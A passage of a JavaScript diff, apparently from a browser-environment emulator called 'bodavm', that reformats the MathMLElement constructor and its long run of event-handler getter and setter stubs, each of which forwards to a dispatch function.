bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontentvisibilityautostatechange_get", arguments)}, set:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontentvisibilityautostatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforematch_set", arguments)}},'prototype'); +// MathMLElement对象 + +bodavm.memory.globalobj['MathMLElement'] = function MathMLElement() { + console.log_copy('MathMLElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MathMLElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MathMLElement'], "MathMLElement"); +bodavm.memory.globalobj['MathMLElement'].prototype.__proto__ = bodavm.memory.globalobj['Element'].prototype; +bodavm.memory.globalobj['MathMLElement'].__proto__ = bodavm.memory.globalobj['Element']; +bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforexrselect", { + configurable: true, + enumerable: true, + get: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforexrselect_get", arguments); + }, + set: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforexrselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforeinput", { + configurable: true, + enumerable: true, + get: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforeinput_get", arguments); + }, + set: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforeinput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncanplay", { + configurable: true, + enumerable: true, + get: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplay_get", arguments); + }, + set: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncanplaythrough", { + configurable: true, + enumerable: true, + get: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplaythrough_get", arguments); + }, + set: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplaythrough_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextmenu", { + configurable: true, + enumerable: true, + get: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextmenu_get", arguments); + }, + set: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextmenu_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondblclick", { + configurable: true, + enumerable: true, + get: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondblclick_get", arguments); + }, + set: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondblclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondrag", { + configurable: true, + enumerable: true, + get: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrag_get", arguments); + }, + set: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrag_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragend", { + configurable: true, + enumerable: true, + get: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragend_get", arguments); + }, + set: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragenter", { + configurable: true, + enumerable: true, + get: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragenter_get", arguments); + }, + set: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragleave", { + configurable: true, + enumerable: true, + get: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragleave_get", arguments); + }, + set: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragover", { + configurable: true, + enumerable: true, + get: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragover_get", arguments); + }, + set: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragstart", { + configurable: true, + enumerable: true, + get: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragstart_get", arguments); + }, + set: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondrop", { + configurable: true, + enumerable: true, + get: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrop_get", arguments); + }, + set: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondurationchange", { + configurable: true, + enumerable: true, + get: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondurationchange_get", arguments); + }, + set: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onemptied", { + configurable: true, + enumerable: true, + get: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onemptied_get", arguments); + }, + set: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onemptied_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onformdata", { + configurable: true, + enumerable: true, + get: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onformdata_get", arguments); + }, + set: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onformdata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oninput", { + configurable: true, + enumerable: true, + get: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninput_get", arguments); + }, + set: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oninvalid", { + configurable: true, + enumerable: true, + get: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninvalid_get", arguments); + }, + set: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onkeydown", { + configurable: true, + enumerable: true, + get: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeydown_get", arguments); + }, + set: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeydown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onkeypress", { + configurable: true, + enumerable: true, + get: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeypress_get", arguments); + }, + set: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeypress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onkeyup", { + configurable: true, + enumerable: true, + get: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeyup_get", arguments); + }, + set: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeyup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onloadeddata", { + configurable: true, + enumerable: true, + get: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadeddata_get", arguments); + }, + set: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadeddata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onloadedmetadata", { + configurable: true, + enumerable: true, + get: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadedmetadata_get", arguments); + }, + set: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadedmetadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmousedown", { + configurable: true, + enumerable: true, + get: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousedown_get", arguments); + }, + set: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousedown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseenter", { + configurable: true, + enumerable: true, + get: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseenter_get", arguments); + }, + set: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseleave", { + configurable: true, + enumerable: true, + get: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseleave_get", arguments); + }, + set: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmousemove", { + configurable: true, + enumerable: true, + get: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousemove_get", arguments); + }, + set: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousemove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseout", { + configurable: true, + enumerable: true, + get: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseout_get", arguments); + }, + set: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseover", { + configurable: true, + enumerable: true, + get: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseover_get", arguments); + }, + set: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseup", { + configurable: true, + enumerable: true, + get: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseup_get", arguments); + }, + set: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmousewheel", { + configurable: true, + enumerable: true, + get: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousewheel_get", arguments); + }, + set: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousewheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onplay", { + configurable: true, + enumerable: true, + get: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplay_get", arguments); + }, + set: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onplaying", { + configurable: true, + enumerable: true, + get: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplaying_get", arguments); + }, + set: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplaying_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onratechange", { + configurable: true, + enumerable: true, + get: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onratechange_get", arguments); + }, + set: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onratechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onsecuritypolicyviolation", { + configurable: true, + enumerable: true, + get: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsecuritypolicyviolation_get", arguments); + }, + set: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsecuritypolicyviolation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onseeked", { + configurable: true, + enumerable: true, + get: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeked_get", arguments); + }, + set: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onseeking", { + configurable: true, + enumerable: true, + get: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeking_get", arguments); + }, + set: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeking_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselect_get", arguments); + }, + set: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onstalled", { + configurable: true, + enumerable: true, + get: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onstalled_get", arguments); + }, + set: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onstalled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onsubmit", { + configurable: true, + enumerable: true, + get: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsubmit_get", arguments); + }, + set: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsubmit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onsuspend", { + configurable: true, + enumerable: true, + get: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsuspend_get", arguments); + }, + set: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsuspend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontimeupdate", { + configurable: true, + enumerable: true, + get: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontimeupdate_get", arguments); + }, + set: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontimeupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontoggle", { + configurable: true, + enumerable: true, + get: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontoggle_get", arguments); + }, + set: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontoggle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onvolumechange", { + configurable: true, + enumerable: true, + get: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onvolumechange_get", arguments); + }, + set: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onvolumechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwaiting", { + configurable: true, + enumerable: true, + get: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwaiting_get", arguments); + }, + set: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwaiting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationend", { + configurable: true, + 